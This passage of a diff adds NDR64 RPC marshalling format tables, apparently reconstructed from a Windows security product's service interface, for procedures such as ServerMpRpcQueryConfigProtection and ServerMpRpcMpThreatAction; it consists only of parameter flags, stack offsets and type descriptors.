*/ /* parameter arg_5 */ + &__midl_frag2164, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag1601, + { + /* arg_7 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2368, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag1583_t __midl_frag1583 = +{ +/* Proc164_ServerMpRpcQueryConfigProtection */ + { + /* Proc164_ServerMpRpcQueryConfigProtection */ /* procedure Proc164_ServerMpRpcQueryConfigProtection */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1570_t __midl_frag1570 = +{ +/* Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx */ + { + /* Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx */ /* procedure Proc163_ServerDlpMpRpcCheckAccessForClipboardOperationEx */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 72 /* 0x48 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 136 /* 0x88 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 8 /* 0x8 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2367, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + } +}; + +static const __midl_frag1553_t __midl_frag1553 = +{ +/* Proc162_ServerMpRpcAsrSetHipsUserExclusion */ + { + /* Proc162_ServerMpRpcAsrSetHipsUserExclusion */ /* procedure Proc162_ServerMpRpcAsrSetHipsUserExclusion */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 96 /* 0x60 */ , /* Stack size */ + (NDR64_UINT32) 104 /* 0x68 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 11 /* 0xb */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag36, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2266, + { + /* arg_6 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2266, + { + /* arg_7 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2266, + { + /* arg_8 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2266, + { + /* arg_9 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* arg_10 */ /* parameter arg_10 */ + &__midl_frag2367, + { + /* arg_10 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 88 /* 0x58 */, /* Stack offset */ + } +}; + +static const __midl_frag1548_t __midl_frag1548 = +{ +/* */ + { + /* **Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1545 + } +}; + +static const __midl_frag1547_t __midl_frag1547 = +{ +/* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 +}; + +static const __midl_frag1546_t __midl_frag1546 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag1545_t __midl_frag1545 = +{ +/* **Struct_476_t */ + { + /* **Struct_476_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_476_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1546 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_476_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag73 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1547 + } +}; + +static const __midl_frag1544_t __midl_frag1544 = +{ +/* Struct_3552_t */ + { + /* Struct_3552_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3552_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1548, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1543_t __midl_frag1543 = +{ +/* *Struct_3552_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1544 +}; + +static const __midl_frag1542_t __midl_frag1542 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag1541_t __midl_frag1541 = +{ +/* union_3514 */ + { + /* union_3514 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1542, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 0 /* 0x0 */, + &__midl_frag1543, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1540_t __midl_frag1540 = +{ +/* Struct_3570_t */ + { + /* Struct_3570_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3570_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1541 + }, + { + /* Struct_3570_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1539_t __midl_frag1539 = +{ +/* *Struct_3570_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1540 +}; + +static const __midl_frag1537_t __midl_frag1537 = +{ +/* Proc161_ServerMpRpcMpThreatAction */ + { + /* Proc161_ServerMpRpcMpThreatAction */ /* procedure Proc161_ServerMpRpcMpThreatAction */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1540, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1530_t __midl_frag1530 = +{ +/* Proc160_ServerMpRpcChangeCapability */ + { + /* Proc160_ServerMpRpcChangeCapability */ /* procedure Proc160_ServerMpRpcChangeCapability */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1519_t __midl_frag1519 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1518_t __midl_frag1518 = +{ +/* **Struct_3370_t */ + { + /* **Struct_3370_t */ + 0x41, /* 